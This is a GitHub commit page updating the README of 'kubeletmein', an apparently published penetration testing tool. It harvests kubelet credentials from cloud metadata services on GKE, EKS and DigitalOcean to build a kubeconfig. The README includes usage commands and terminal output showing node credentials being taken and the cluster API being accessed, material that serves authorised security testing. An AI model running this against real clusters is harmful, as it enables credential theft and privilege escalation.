Skip to content

Commit

Permalink
Update README ahead of v1.0
Browse files Browse the repository at this point in the history
  • Loading branch information
marcwickenden committed Mar 10, 2021
1 parent c412803 commit 7cc7690
Showing 1 changed file with 49 additions and 65 deletions.
114 changes: 49 additions & 65 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,93 +4,79 @@ This is a simple penetration testing tool which takes advantage of public cloud

## How it works

`kubeletmein` is a simple Go binary that is designed to be run from a pod inside your target cluster. Typically this will be either via exploiting a weakness in a web application running on Kubernetes or, perhaps an internal penetration test where the client has given you exec access into a pod.
`kubeletmein` is a simple Go binary that is designed to be run from a pod inside your target cluster. Typically this will be either via exploiting a weakness in a web application running on Kubernetes or, perhaps an internal penetration test where the client has given you exec access into a pod. Download the single file and run it with `kubeletmein generate`.

It reads kubelet credentials from the cloud provider metadata and configures a kubeconfig file that you can use with `kubectl` to access the API.
It autodetects the provider it is being run on, reads kubelet credentials from the cloud provider metadata service and configures a kubeconfig file that you can use with `kubectl` to access the API.

There's more info in our blog post at [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/).

## Supported providers

### GKE

GKE is fully supported and relies on the metadata concealmeant being disabled.
GKE is fully supported when the metadata concealment is not enabled, shielded VMs are not in use and/or Workload Identity is not utilised. Out of these, only shielded VMs are a default in the most recent version of GKE at the time of writing.

### EKS

EKS support initially added by @airman604 based on the AWS EKS [bootstrap script](https://github.com/awslabs/amazon-eks-ami/blob/master/files/bootstrap.sh). This has now been expanded to provide support for various different types of user-data encountered with EKS. Specifically it will support cloud-config format and shell script formats. In the latter case it tries to parse the command line arguments for `/etc/eks/bootstrap.sh` and retrieve the values it needs from there.
EKS support initially added by [@airman604](https://github.com/airman604) based on the AWS EKS [bootstrap script](https://github.com/awslabs/amazon-eks-ami/blob/master/files/bootstrap.sh). This has now been expanded to provide support for various different types of user-data encountered with EKS. Specifically it will support cloud-config format and shell script formats. In the latter case it tries to parse the command line arguments for `/etc/eks/bootstrap.sh` and retrieve the values it needs from there.

### Digital Ocean

By default, DO provides creds by metadata and this cannot be disabled.

### AKS

I should probably look at Azure at some point but....Microsoft. ;-)
Microsoft's Azure Kubernetes Services is _not_ vulnerable to the same issue. It provides kubelet credentials to its VMs via a local file `/var/lib/waagent/ovf-env.xml`. No sensitive data relating to cluster credentials is accessible via the metadata service and, thereby, from pods deployed to nodes. You can find more information about the custom-data approach adopted by Microsoft at [https://docs.microsoft.com/en-us/azure/virtual-machines/custom-data](https://docs.microsoft.com/en-us/azure/virtual-machines/custom-data).


## Installation

It's a single binary compiled for Linux. Download it with `cURL` or `wget` from the releases page at [https://github.com/4armed/kubeletmein/releases](https://github.com/4armed/kubeletmein/releases).
It's a single binary compiled for Linux. Download it with `cURL` or `wget` from the releases page at [https://github.com/4armed/kubeletmein/releases](https://github.com/4armed/kubeletmein/releases) or use our container image [4armed/kubeletmein](https://hub.docker.com/repository/docker/4armed/kubeletmein).

## How to

A breaking change in v0.14.0 and upwards is a further consolidation of the command line arguments. There is now just a single `generate` command which will try to autodetect the cloud provider by default. You can override this with the `--provider` flag if required.
There is now just a single `generate` command which will try to autodetect the cloud provider by default. You can override this with the `--provider` flag if required. Other options can be displayed using `-h`.

### GKE

```
```bash
root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-04T22:25:52Z [ℹ] fetching kubelet creds from metadata service
2021-03-04T22:25:52Z [ℹ] writing ca cert to: ca-certificates.crt
2021-03-04T22:25:52Z [ℹ] writing kubelet cert to: kubelet.crt
2021-03-04T22:25:52Z [ℹ] writing kubelet key to: kubelet.key
2021-03-04T22:25:52Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ] wrote bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ] using bootstrap-config to request new cert for node: kubeletmein-node
2021-03-04T22:25:53Z [ℹ] got new cert and wrote kubeconfig
2021-03-04T22:25:53Z [ℹ] now try: kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods
NAME READY STATUS RESTARTS AGE
kubeletmein-vulnerable 1/1 Running 0 12m
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get nodes
NAME STATUS ROLES AGE VERSION
gke-kubeletmein-kubeletmein-vulnerabl-6623dbee-mgkd Ready <none> 11m v1.18.12-gke.1210
```

Now you can use the kubeconfig, as it suggests.
2021-03-10T19:56:00Z [ℹ] running autodetect
2021-03-10T19:56:00Z [ℹ] GKE detected
2021-03-10T19:56:00Z [ℹ] fetching kubelet creds from metadata service
2021-03-10T19:56:00Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig.yaml
2021-03-10T19:56:00Z [ℹ] wrote bootstrap-kubeconfig
2021-03-10T19:56:00Z [ℹ] using bootstrap-config to request new cert for node: gke-kubeletmein-kubeletmein-vulnerabl-a7a330f6-3w52
2021-03-10T19:56:00Z [ℹ] Using bootstrap kubeconfig to generate TLS client cert, key and kubeconfig file
2021-03-10T19:56:00Z [ℹ] No valid private key and/or certificate found, reusing existing private key or creating a new one
2021-03-10T19:56:00Z [ℹ] Waiting for client certificate to be issued
2021-03-10T19:56:01Z [ℹ] got new cert and wrote kubeconfig
2021-03-10T19:56:01Z [ℹ] now try: kubectl --kubeconfig kubeconfig.yaml get pods

```
kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig.yaml get pods
NAME READY STATUS RESTARTS AGE
kubeletmein-vulnerable 1/1 Running 0 85s
```

### EKS

On EKS we can impersonate current node in a single step using IAM authentication.

```
~ $ kubeletmein generate
2021-03-02T21:37:59Z [ℹ] running autodetect
2021-03-02T21:37:59Z [ℹ] EKS detected
2021-03-02T21:37:59Z [ℹ] fetching cluster information from user-data from the metadata service
2021-03-02T21:37:59Z [ℹ] getting IMDSv2 token
2021-03-02T21:37:59Z [ℹ] getting user-data
2021-03-02T21:37:59Z [ℹ] generating EKS node kubeconfig file at: kubeconfig
2021-03-02T21:37:59Z [ℹ] wrote kubeconfig
2021-03-02T21:37:59Z [ℹ] then try: kubectl --kubeconfig kubeconfig get pods
```

Now you can use the kubeconfig, as it suggests. Follow the instructions at
https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html to download `aws-iam-authenticator`
(and make it executable), then run:
```bash
root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-10T20:09:35Z [ℹ] running autodetect
2021-03-10T20:09:35Z [ℹ] EKS detected
2021-03-10T20:09:35Z [ℹ] fetching cluster information from the metadata service
2021-03-10T20:09:39Z [ℹ] parsing user-data
2021-03-10T20:09:39Z [ℹ] wrote kubeconfig
2021-03-10T20:09:39Z [ℹ] now try: kubectl --kubeconfig kubeconfig.yaml get pods

```
kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig.yaml get pods
NAME READY STATUS RESTARTS AGE
kubeletmein-vulnerable 1/1 Running 0 8m46s
```

### DigitalOcean

```
```bash
root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-10T11:57:53Z [ℹ] running autodetect
2021-03-10T11:57:53Z [ℹ] DigitalOcean detected
Expand Down Expand Up @@ -125,25 +111,23 @@ Each folder has a `Makefile` you can use if you wish to init, plan and apply the
The plans will create a cluster and then deploy the `4armed/kubeletmein` container image in a pod. You can then exec into this pod and run the tool. Here is output from running this on GKE.

```bash
$ kubectl exec -ti kubeletmein-vulnerable bash
$ kubectl exec -ti kubeletmein-vulnerable -- bash
root@kubeletmein-vulnerable:/# kubeletmein generate
2021-03-04T22:25:52Z [ℹ] running autodetect
2021-03-04T22:25:52Z [ℹ] GKE detected
2021-03-04T22:25:52Z [ℹ] fetching kubelet creds from metadata service
2021-03-04T22:25:52Z [ℹ] writing ca cert to: ca-certificates.crt
2021-03-04T22:25:52Z [ℹ] writing kubelet cert to: kubelet.crt
2021-03-04T22:25:52Z [ℹ] writing kubelet key to: kubelet.key
2021-03-04T22:25:52Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ] wrote bootstrap-kubeconfig
2021-03-04T22:25:52Z [ℹ] using bootstrap-config to request new cert for node: kubeletmein-node
2021-03-04T22:25:53Z [ℹ] got new cert and wrote kubeconfig
2021-03-04T22:25:53Z [ℹ] now try: kubectl --kubeconfig kubeconfig get pods
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get pods
2021-03-10T19:56:00Z [ℹ] running autodetect
2021-03-10T19:56:00Z [ℹ] GKE detected
2021-03-10T19:56:00Z [ℹ] fetching kubelet creds from metadata service
2021-03-10T19:56:00Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig.yaml
2021-03-10T19:56:00Z [ℹ] wrote bootstrap-kubeconfig
2021-03-10T19:56:00Z [ℹ] using bootstrap-config to request new cert for node: gke-kubeletmein-kubeletmein-vulnerabl-a7a330f6-3w52
2021-03-10T19:56:00Z [ℹ] Using bootstrap kubeconfig to generate TLS client cert, key and kubeconfig file
2021-03-10T19:56:00Z [ℹ] No valid private key and/or certificate found, reusing existing private key or creating a new one
2021-03-10T19:56:00Z [ℹ] Waiting for client certificate to be issued
2021-03-10T19:56:01Z [ℹ] got new cert and wrote kubeconfig
2021-03-10T19:56:01Z [ℹ] now try: kubectl --kubeconfig kubeconfig.yaml get pods

root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig.yaml get pods
NAME READY STATUS RESTARTS AGE
kubeletmein-vulnerable 1/1 Running 0 12m
root@kubeletmein-vulnerable:/# kubectl --kubeconfig kubeconfig get nodes
NAME STATUS ROLES AGE VERSION
gke-kubeletmein-kubeletmein-vulnerabl-6623dbee-mgkd Ready <none> 11m v1.18.12-gke.1210
kubeletmein-vulnerable 1/1 Running 0 85s
```

## Contributing
Expand Down

0 comments on commit 7cc7690

Please sign in to comment.